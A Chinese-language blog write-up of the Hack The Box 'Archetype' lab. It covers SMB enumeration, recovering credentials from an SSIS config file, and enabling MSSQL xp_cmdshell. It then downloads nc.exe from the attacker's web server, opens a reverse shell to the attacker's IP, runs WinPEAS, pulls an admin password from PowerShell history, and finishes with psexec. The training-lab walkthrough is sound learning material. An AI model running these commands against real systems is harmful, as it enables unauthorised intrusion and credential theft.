沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

MSSQL的渗透

0x00 前言


最近在做HTB(HACK THE BOX)的靶机,但是没想到的是,开始教程中tier2的第二关就把我卡住了……涉及到了MSSQL的渗透与提权(直接就是一个知识盲点怼过来),挺难得的一次贴切实战的学习机会,所以记录一下。

靶机: [HTB]Archetype

0x01 信息收集


1.1 Nmap扫描

首先使用Nmap扫描:

nmap -sC -sV xx.xx.xx.xx

结果扫出了两个服务,其中一个是Samba服务(端口:139/445),另一个是MSSQL-2019(端口:1433)。

135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM

1.2 Samba渗透

首先是使用匿名身份查询一下samba服务有哪些共享目录:

smbclient -L xx.xx.xx.xx

使用之后,就可以看到会有一些目录。这时候我们可以一个一个尝试连接,试着看有哪些是没配置密码访问的,这里最后找到了backups目录:

smbclient //xx.xx.xx.xx/backups 

密码直接回车之后,发现成功登录。使用命令进行列文件,看看是否有有用的文件:

ls

可以看到有一个prod.dtsConfig 文件(其实这个文件时MSSQL中SSIS的XML格式配置文件,然而我并不知道这是什么),使用命令将其下载下来:

get prod.dtsConfig  

这样,就从目标机器上将文件下载到了本地,接着我们使用cat命令进行查看:

cat prod.dtsConfig  

其内容如下:

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

可以看到其中存储了一个用户ARCHETYPE\sql_svc还有其密码,所以接下来,我们可以尝试着去远程连接看看。

0x02 反弹shell


[这里因为HackTheBox的PWNHUB(云虚拟主机)体验结束,只能使用OpenVPN进行靶机的连接,然而网速巨慢……Nmap扫描一下都要巨久(后面发现好像是虚拟机忘记配置走Clash代理了😊,就继续使用HTB靶机了),于是转战本地搭建MSSQL来复现了]

2.1 远程连接MSSQL

使用SecureAuthCorp/impacket中的mssqlclient.py即可进行连接,本来kali中好像有安装好的impacket-mssqlclient模块,但是我使用的2021版本好像不存在这个模块,所以只能自己安装了,安装过程如下:

  1. 从Github拉取源码:

    git clone https://github.com/SecureAuthCorp/impacket.git
  2. 安装pip:

    sudo apt install python3-pip
  3. 安装虚拟环境模块(kali上需要这样)

    apt install python3-venv
  4. 创建虚拟环境

    python3 -m venv ./
  5. 进入虚拟环境并安装impacket

    source ./bin/activate
    pip install ./

安装完成后,切换到example目录,就可以使用我们的脚本进行远程连接了:

python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.186.24 -windows-auth

[在kali中使用请注意这里的斜杠,不要使用windows格式的反斜杠]

输入上面获得的密码后,我们就成功登录了MSSQL。

2.2 开启xp_cmdshell

xp_cmdshell默认在mssql2000中开启,在后续版本中默认关闭,但仍然存在。利用它可以在数据库中执行系统命令,从而帮助我们进行提权等操作。

  1. 首先是要判断当前用户权限,只有sa用户才有权限开启

    select is_srvrolemember('sysadmin');

    返回1,表示当前确实是sa用户权限。

  2. 使用相关命令测试后,发现xp_cmdshell并没有开启

    exec xp_cmdshell "whoami";

    返回Error,提示未开启

  3. 使用如下的命令开启xp_cmdshell

    EXEC sp_configure 'show advanced options', 1
    RECONFIGURE
    EXEC sp_configure 'xp_cmdshell',1
    RECONFIGURE
  4. 再次测试

    exec xp_cmdshell "whoami";

    成功返回archetype\sql_svc用户名称

    [但是在mssqlserver.py中好像可以直接使用enable_xp_cmdshell,快速的帮助我们开启]

2.3 反弹shell

上面已经开启了xp_cmdshell,但还是得在数据库里操作,不太方便,所以我们接下来反弹一个shell。最简单的反弹shell就是利用nc程序的-e参数了,但是因为目标机器中不存在,所以我们就需要给他传一个。

  1. 从网上先下载一个nc.exe到kali中,用于后续渗透

  2. 使用python中http模块,搭建Web服务

    python3 -m http.server  803
  3. 利用powershell -c来执行命令[毕竟不太熟悉Windows的Dos命令],查看当前目录

    exec xp_cmdshell "powershell -c pwd";

    显示是C:\Windows\system32 ,这个目录一般需要管理员权限才能写入文件,所以我们需要切换目录

  4. 切换目录,并下载kali上的nc.exe

    exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://[yourTunIp]/nc.exe -o .\nc.exe";

    [这里的yourTunIp是我们使用OpenVpn连接上HTB后分配的,使用ifconfig可以查看]

  5. 在反弹之前,现在本地监听特定端口[这里就挑选我喜欢的2333端口]

    nc -lvp 2333
  6. 之后就是使用nc -e来反弹shell了

    exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc.exe -e powershell.exe [yourTunIp] 2333";
  7. 成功反弹image-20220319144003040

之后在用户的Desktop,可以找到user的flag。但是靶机还需要管理员的flag,所以接下来我们就需要提权。

0x03 提权


3.1 WinPEAS

WinPEAS可以帮助我们自动化寻找Win主机上是否可以提权的Paths[看大家都用的这个词,但是我现在还不能准确翻译具体意思,应该不是路径的意思吧,大概是方式吧……另外,工具图标好可爱]

  1. 同样的,因为我们的靶机不出网,所以我们还是得现在kali中把WinPeas准备好,然后再让靶机从kali的Web服务下载。

    下载地址: https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
  2. 在反弹的shell中使用wget从kali下载

    wget http://[yourTunIp]/winPEASx64.exe -o winpeas.exe
  3. 在反弹的shell中运行工具

    ./winpeas.exe

    结果会以红色的形式显示出来:

    image-20220319151100909

  4. 第一个文件记录了ps的历史命令,因为有的命令需要切换用户登录,所以当显式给密码切换时,就可以获得密码

    > type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
    exit

    可以看到,用户在使用net use命令时,有直接给出管理员密码:MEGACORP_4dm1n!!

3.2 psexec

psexec是微软官方出的一个代替telnet进行远程连接的工具,所以一般不会被杀软杀掉 [之前的工具在实际环境中可能需要做免杀],但是还是可能会被防火墙挡住的 [当然我们这里不需要考虑]。我们这里依然可以使用Impacket里的脚本进行连接。

  1. 使用如下命令进行远程连接:

    python3 psexec.py administrator@10.129.95.187
    /*如果kali有打包好Impacket则可以使用如下命令*/
    impacket-psexec administrator@10.129.95.187

    成功以administrator身份登录:

    image-20220319154625810

同样的,在桌面找到了对应的flag